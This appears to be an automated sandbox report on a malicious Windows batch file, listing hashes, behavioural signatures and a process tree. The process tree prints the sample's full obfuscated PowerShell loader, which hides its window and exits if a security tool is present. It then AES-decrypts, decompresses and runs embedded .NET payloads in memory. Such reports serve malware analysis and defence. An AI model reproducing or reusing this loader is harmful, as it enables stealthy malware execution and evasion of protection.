Analysis
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max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
18/10/2024, 01:34
Static task
static1
Behavioral task
behavioral1
Sample
3868b32b9aeabdd021b9f5d029a741304def18fa3c19a0fe4872e82939aac02d.cmd
Resource
win7-20241010-en
5 signatures
150 seconds
General
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Target
3868b32b9aeabdd021b9f5d029a741304def18fa3c19a0fe4872e82939aac02d.cmd
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Size
75KB
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MD5
832dd29f7ffd54f656233e56c588b4fd
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SHA1
fd306aaaa8b2065f80773cf440e245f3120eef09
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SHA256
3868b32b9aeabdd021b9f5d029a741304def18fa3c19a0fe4872e82939aac02d
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SHA512
b5098bc78bb21a8a003b2b5a1c4950ff3a791e9a8543be51c7885b95999a1acef6bdffda9bb92ca2734f8b0f54a1572d9fb3dbdba322abae2d1057273529be10
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SSDEEP
1536:udOgvVCMvAg6DhWpHjd62+6LiIB8KUDPGJ/oJzy:wVLAjDhWpjTfuPWIW
Score
3/10
Malware Config
Signatures
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 2340 powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2340 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2340 powershell.exe -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 576 wrote to memory of 288 576 cmd.exe 32 PID 576 wrote to memory of 288 576 cmd.exe 32 PID 576 wrote to memory of 288 576 cmd.exe 32 PID 576 wrote to memory of 2340 576 cmd.exe 33 PID 576 wrote to memory of 2340 576 cmd.exe 33 PID 576 wrote to memory of 2340 576 cmd.exe 33 PID 576 wrote to memory of 2340 576 cmd.exe 33
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\3868b32b9aeabdd021b9f5d029a741304def18fa3c19a0fe4872e82939aac02d.cmd"1⤵
- Suspicious use of WriteProcessMemory
PID:576 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\3868b32b9aeabdd021b9f5d029a741304def18fa3c19a0fe4872e82939aac02d.cmd';$BczT='GeRVWptRVWpCRVWpurRVWpreRVWpntRVWpPRVWproRVWpcRVWpessRVWp'.Replace('RVWp', ''),'SpdpWdlitdpWd'.Replace('dpWd', ''),'EntUUZwrUUZwyPUUZwoUUZwinUUZwtUUZw'.Replace('UUZw', ''),'ElmNutemNutmmNutentmNutAtmNut'.Replace('mNut', ''),'LoZlRdadZlRd'.Replace('ZlRd', ''),'FriYMJomiYMJBiYMJasiYMJe64iYMJStiYMJriiYMJngiYMJ'.Replace('iYMJ', ''),'CDTtzhaDTtznDTtzgeDTtzExDTtzteDTtznsDTtzioDTtznDTtz'.Replace('DTtz', ''),'TrUPQEanUPQEsfUPQEormUPQEFUPQEiUPQEnUPQEalUPQEBUPQElocUPQEkUPQE'.Replace('UPQE', ''),'IqNQJnvqNQJoqNQJkeqNQJ'.Replace('qNQJ', ''),'CoqEENpqEENyqEENToqEEN'.Replace('qEEN', ''),'CrehWBeaehWBteehWBDehWBeehWBcehWBrypehWBtorehWB'.Replace('ehWB', ''),'MaQHwVinQHwVModQHwVuQHwVleQHwV'.Replace('QHwV', ''),'ReoviQadLoviQinoviQeoviQsoviQ'.Replace('oviQ', ''),'Devonzcomvonzpvonzrevonzssvonz'.Replace('vonz', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($BczT[0])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function pWQul($PgjTo){$ArRhZ=[System.Security.Cryptography.Aes]::Create();$ArRhZ.Mode=[System.Security.Cryptography.CipherMode]::CBC;$ArRhZ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$ArRhZ.Key=[System.Convert]::($BczT[5])('BCbtvIveY0T0lkWSkDxWOMe/c90s1PvXXJN390CRmts=');$ArRhZ.IV=[System.Convert]::($BczT[5])('JbfpGWq+SHjQD2Awma012A==');$BcXUN=$ArRhZ.($BczT[10])();$RcqyN=$BcXUN.($BczT[7])($PgjTo,0,$PgjTo.Length);$BcXUN.Dispose();$ArRhZ.Dispose();$RcqyN;}function iDUTr($PgjTo){$bKrDu=New-Object System.IO.MemoryStream(,$PgjTo);$gnvgt=New-Object System.IO.MemoryStream;$atXgD=New-Object System.IO.Compression.GZipStream($bKrDu,[IO.Compression.CompressionMode]::($BczT[13]));$atXgD.($BczT[9])($gnvgt);$atXgD.Dispose();$bKrDu.Dispose();$gnvgt.Dispose();$gnvgt.ToArray();}$XZgdm=[System.IO.File]::($BczT[12])([Console]::Title);$IbVAd=iDUTr (pWQul ([Convert]::($BczT[5])([System.Linq.Enumerable]::($BczT[3])($XZgdm, 5).Substring(2))));$AAuWz=iDUTr (pWQul ([Convert]::($BczT[5])([System.Linq.Enumerable]::($BczT[3])($XZgdm, 6).Substring(2))));[System.Reflection.Assembly]::($BczT[4])([byte[]]$AAuWz).($BczT[2]).($BczT[8])($null,$null);[System.Reflection.Assembly]::($BczT[4])([byte[]]$IbVAd).($BczT[2]).($BczT[8])($null,$null); "2⤵PID:288
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2340
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